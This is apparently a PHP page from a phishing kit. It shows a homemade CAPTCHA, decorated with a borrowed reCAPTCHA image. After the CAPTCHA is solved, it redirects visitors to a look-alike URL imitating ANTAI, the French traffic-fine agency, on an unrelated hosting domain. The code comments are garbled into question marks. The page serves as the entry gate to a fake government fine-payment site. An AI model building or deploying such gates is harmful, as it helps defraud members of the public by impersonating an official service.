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<?php
session_start();

// ????? CAPTCHA ???? ?? ????? ?????
function genererCaptchaTexte($longueur = 5) {
    $caracteres = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $texte = '';
    for ($i = 0; $i < $longueur; $i++) {
        $texte .= $caracteres[rand(0, strlen($caracteres) - 1)];
    }
    return $texte;
}

// ????? ???? CAPTCHA ?????
function genererCaptchaImage($texte) {
    $largeur = 150;
    $hauteur = 50;
    $im = imagecreatetruecolor($largeur, $hauteur);

    $bg = imagecolorallocate($im, 255, 255, 255); 
    $fg = imagecolorallocate($im, 0, 0, 0);       
    imagefilledrectangle($im, 0, 0, $largeur, $hauteur, $bg);

    imagestring($im, 5, 20, 15, $texte, $fg);

    ob_start();
    imagepng($im);
    $imageData = ob_get_clean();
    imagedestroy($im);

    return 'data:image/png;base64,' . base64_encode($imageData);
}

// ?????? ??? ????? ???????
$erreur = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $reponseUtilisateur = trim($_POST['captcha']); 
    if ($reponseUtilisateur === $_SESSION['captcha_text']) {
        header("Location: https://serviceclientantai.cloudaccess.host/amendes.gouv.fr/antai/redirect");
        exit();
    } else {
        $erreur = "Erreur : Le texte ne correspond pas. Veuillez r&egrave;essayer.";
        $_SESSION['captcha_text'] = genererCaptchaTexte(); // ????? CAPTCHA ???? ??? ?????
    }
}

// ??? ?? ??? ???? CAPTCHA ?? ??????? ???? ???? ????
if (!isset($_SESSION['captcha_text'])) {
    $_SESSION['captcha_text'] = genererCaptchaTexte();
}

// ????? ???? CAPTCHA ????? ??? ???? ?? ??????
$captchaImage = genererCaptchaImage($_SESSION['captcha_text']);
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Captcha Lettres et Chiffres</title>
<style>
    body { font-family: Arial, sans-serif; text-align: center; padding: 30px; }
    img { border: 1px solid #ccc; margin-bottom: 10px; }
    input[type=text] { padding: 10px; width: 200px; font-size: 18px; }
    .button-bleu {
        background-color: #007BFF;
        color: white;
        border: none;
        padding: 10px 20px;
        font-size: 18px;
        cursor: pointer;
        border-radius: 5px;
        transition: background-color 0.3s;
    }
    .button-bleu:hover {
        background-color: #0056b3;
    }
    .logo { max-width: 150px; margin-bottom: 20px; }
</style>
</head>
<body>

<!-- ????? ?????? ?? ???? ????? -->
<img src="https://blog.jirivanek.eu/wp-content/uploads/2022/08/google-recaptcha-wordpress-862x485-1.jpg" alt="Logo" class="logo">

<?php if (!empty($erreur)) echo "<p style='color:red;'>$erreur</p>"; ?>

<form method="post">
    <p><img src="<?php echo $captchaImage; ?>" alt="captcha"></p>
    <input type="text" name="captcha" required placeholder="Recopiez les caract&egrave;res">
    <br><br>
    <input type="submit" value="Continuer" class="button-bleu">
</form>
</body>
</html>